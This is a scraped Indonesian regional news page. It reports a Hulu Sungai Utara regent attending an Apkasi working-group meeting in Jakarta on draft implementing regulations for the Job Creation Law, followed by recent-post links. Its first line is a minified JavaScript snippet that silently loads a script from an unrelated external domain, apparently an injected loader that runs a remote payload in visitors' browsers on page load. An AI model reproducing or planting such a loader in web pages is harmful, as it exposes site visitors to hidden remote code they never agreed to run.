(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bupati HSU: Pemda Penting Ikut Menyusun Peraturan Turunan UU Cipta Kerja


KANALKALIMANTAN.COM, JAKARTA – Pemerintah daerah (Pemda) berkepentingan untuk memberikan saran dan masukan kepada pemerintah pusat terkait penyusunan 40 Rancangan Peraturan Pemerintah (RPP) dan 4 Rancangan Peraturan Presiden (Rperpres) sebagai turunan Undang- Undang Cipta Kerja.

Hal tersebut seperti dikemukakan Bupati HSU H Abdul Wahid saat menghadiri rapat kelompok kerja (Pokja) Asosiasi Pemerintah Kabupaten Seluruh Indonesia (Apkasi) di kantor Sekretariat Apkasi Gedung Sahid Sudirman Center, Jakarta, Kamis (26/11/2020)

Adapun kehadiran Bupati HDU didampingi Sekretaris Daerah HM Taufik, Kabag Pemerintahan dan Kabag Humpro HSU sehubungan dipilihnya Pemerintah Kabupaten HSU sebagai anggota pokja Apkasi terkait RPP dan Rpepres sebagai peraturan pelaksanaan UU Nomor 11 tahun 2020 tentang Cipta Kerja.

Lebih Lanjut, Bupati HSU H Abdul Wahid mengatakan bahwa saat ini pemerintah sedang menyusun 40 RPP dan 4 Rperpres sebagai turunan UU Nomor 11 tahun 2020 tentang Cipta Kerja.

 

Karena itu, sebagai wadah pemerintah kabupaten, Apkasi merasa berkepentingan untuk memberikan saran dan masukan kepada pemerintah pusat terkait dalam penyusunan 40 RPP dan 4 Rperpres itu.

Hal tersebut juga tidak terlepas dari permintaan pemerintah kepada Apkasi agar segera memberikan masukan terhadap penyusunan RPP dan Rperpres UU Cipta Kerja.

“Hari ini kami menghadiri rapat pokja Apkasi yang beranggotan 11 kabupaten untuk membahas RPP dan Rperpres UU Cipta Kerja,” ujar Bupati Wahid.

Lebih jauh, Wahid menyebut pemerintah daerah sebagai ujung tombak pemerintan pusat sudah seharusnya diberikan kesempatan untuk memberikan masukan terhadap penyusunan RPP dan Rperpres UU Cipta Kerja.

Adapun diantara RPP yang dibahas dalam rapat tersebut seperti rancangan peraturan pemerintah tentang pajak daerah dan retribusi daerah dalam rangka mendukung kemudahan berusaha dan layanan daerah, RPP penyelenggaraan perizinan berusaha di daerah dan RPP penyelenggaraan penataan ruang. (kanalkalimantan.com/dew)

Reporter : Dew
Editor : Bie

 


Al Ghifari

Recent Posts

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

3 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

3 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

3 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

5 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

6 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

7 jam ago

This website uses cookies.